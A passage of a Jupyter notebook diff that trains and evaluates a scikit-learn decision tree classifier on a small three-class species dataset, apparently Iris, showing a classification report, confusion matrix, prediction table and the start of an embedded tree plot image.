{ - "cell_type": "code", - "execution_count": 10, - "id": "586a8a59", - "metadata": {}, - "outputs": [], - "source": [ - "X_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2,random_state=0)" - ] - }, - { - "cell_type": "markdown", - "id": "28808f7d", - "metadata": {}, - "source": [ - "# Predicting using DecisionTreeClassifier" - ] - }, - { - "cell_type": "code", - "execution_count": 11, - "id": "84ddd2bf", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - " precision recall f1-score support\n", - "\n", - " 0 1.00 1.00 1.00 11\n", - " 1 1.00 1.00 1.00 13\n", - " 2 1.00 1.00 1.00 6\n", - "\n", - " accuracy 1.00 30\n", - " macro avg 1.00 1.00 1.00 30\n", - "weighted avg 1.00 1.00 1.00 30\n", - "\n", - "[[11 0 0]\n", - " [ 0 13 0]\n", - " [ 0 0 6]]\n" - ] - } - ], - "source": [ - "dt=DecisionTreeClassifier()\n", - "dt.fit(X_train,y_train)\n", - "predict_dt=dt.predict(X_test)\n", - "print(classification_report(y_test,predict_dt))\n", - "print(confusion_matrix(y_test,predict_dt))" - ] - }, - { - "cell_type": "code", - "execution_count": 15, - "id": "58418f65", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
SpeciesPrediction
11422
6211
3300
10722
700
\n", - "
" - ], - "text/plain": [ - " Species Prediction\n", - "114 2 2\n", - "62 1 1\n", - "33 0 0\n", - "107 2 2\n", - "7 0 0" - ] - }, - "execution_count": 15, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "## Comparison b/w Actual data and Predicted data\n", - "pre=pd.DataFrame({\"Species\":y_test,\"Prediction\":predict_dt})\n", - "pre.head()" - ] - }, - { - "cell_type": "markdown", - "id": "056ce2de", - "metadata": {}, - "source": [ - "# Accuracy of Model" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "id": "bf31f260", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "1.0" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "accuracy=accuracy_score(y_test,predict_dt)\n", - "accuracy" - ] - }, - { - "cell_type": "markdown", - "id": "6a2324a2", - "metadata": {}, - "source": [ - "# Visualizing DecisionTreeClassifier" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "id": "0a0a7748", - "metadata": {}, - "outputs": [ - { - "data": { - "image/png": "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